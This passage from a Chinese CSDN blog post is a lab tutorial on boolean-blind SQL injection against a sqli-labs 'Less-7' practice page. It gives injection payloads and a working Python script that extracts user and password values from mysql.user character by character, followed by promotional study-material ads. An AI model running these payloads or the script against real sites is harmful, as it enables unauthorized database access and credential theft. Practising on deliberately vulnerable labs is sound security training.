2024年Python最新感谢Python,让我又在同学面前装了一次逼(2)


用户名的长度肯定是大于1个字符,因此页面正常显示。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/47c07ae9bd964de38c555f279fa55264.png)  
 我们再假设用户名的长度小于1个字符,payload如下:



?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)<1 – a


用户名的长度肯定不会小于1个字符,因此页面异常显示。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/c58255933ce44786bbadf0d7c15424ff.png)  
 由此可以判断,长度验证payload可以正常使用,接下来,我们假设用户名的长度等于1个字符,并由1开始递增,页面异常显示表示长度不对,页面正常显示表示长度正确,payload如下:



?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)=1 – a


手动猜解比较麻烦,这里我们借助Python进行自动化测试,脚本如下:



import requests

目标网址(不带参数)

url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”

猜解长度使用的payload

payload_len = “”“?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)={n} – a”“”

获取长度

def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if ‘You are in… Use outfile…’ in response.text:
print(‘测试长度完成,长度为:’, length,)
return length;
else:
print(‘正在测试长度:’,length)
length += 1 # 测试长度递增

开始猜解

getLength(url, payload_len)


猜解长度为42,运行结果如下:  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/79934af7030c4333940fa3fed6d582a7.png)


### 3)枚举字符


长度确定之后,我们利用ASCLL码表枚举每个字符的可能性。  
 ASCLL码表总共127个字符(可输入的字符范围是32~126),我们将每个字符转换成ASCLL码,由32开始枚举判断,递增至126,页面异常显示表示猜测错误,页面正常显示表示猜测正确。  
 手动枚举比较麻烦,这里我们使用Python自动化验证,脚本如下:



import requests

目标网址(不带参数)

url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”

枚举字符使用的payload

payload_str = “”“?id=1’)) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} – a”“”

获取字符

def getStr(url, payload, length):
str = ‘’ # 初始表名/库名为空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if ‘You are in… Use outfile…’ in response.text:
str+= chr(n)
print(‘第’, l, ‘个字符猜解成功:’, str)
break;
return str;

开始猜解

getStr(url, payload_str, 42)


成功猜解数据库用户的账号和密码,执行结果如下:  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/bad17a86717b4cd38f8921d474b967fa.png)


### 3)完成脚本如下



import requests

只需要修改url 和 两个payload即可

目标网址(不带参数)

url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”

猜解长度使用的payload

payload_len = “”“?id=1’)) and length(
(select group_concat(user,password)
from mysql.user)
)={n} – a”“”

枚举字符使用的payload

payload_str = “”“?id=1’)) and ascii(substr(
(select group_concat(user,password)
from mysql.user)
,{n},1))={r} – a”“”

获取长度

def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if ‘You are in… Use outfile…’ in response.text:
print(‘测试长度完成,长度为:’, length,)
return length;
else:
print(‘正在测试长度:’,length)
length += 1 # 测试长度递增

获取字符

def getStr(url, payload, length):
str = ‘’ # 初始表名/库名为空
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
if ‘You are in… Use outfile…’ in response.text:
str+= chr(n)
print(‘第’, l, ‘个字符猜解成功:’, str)
break;
return str;

开始猜解

length = getLength(url, payload_len)
getStr(url, payload_str, length)



**一、Python所有方向的学习路线**

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照下面的知识点去找对应的学习资源,保证自己学得较为全面。

![img](https://img-blog.csdnimg.cn/1d40facda2b84990b8e1743f5487d455.png)  
![img](https://img-blog.csdnimg.cn/0fc11d4a31bd431dbf124f67f1749046.png)

**二、Python必备开发工具**

工具都帮大家整理好了,安装就可直接上手!![img](https://img-blog.csdnimg.cn/ff266f529c6a46c4bc28e5f895dec647.gif#pic_center)

**三、最新Python学习笔记**

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。

![img](https://img-blog.csdnimg.cn/6d414e9f494742db8bcc3fa312200539.png)

**四、Python视频合集**

观看全面零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

![img](https://img-blog.csdnimg.cn/a806d9b941c645858c61d161aec43789.png)

**五、实战案例**

纸上得来终觉浅,要学会跟着视频一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。![img](https://img-blog.csdnimg.cn/a353983317b14d3c8856824a0d6186c1.png)

**六、面试宝典**

![在这里插入图片描述](https://img-blog.csdnimg.cn/97c454a3e5b4439b8600b50011cc8fe4.png)

![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png)

###### **简历模板**![在这里插入图片描述](https://img-blog.csdnimg.cn/646863996ac44da8af500c049bb72fbd.png#pic_center)




**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化学习资料的朋友,可以戳这里无偿获取](https://bbs.csdn.net/topics/618317507)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
  • 24
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值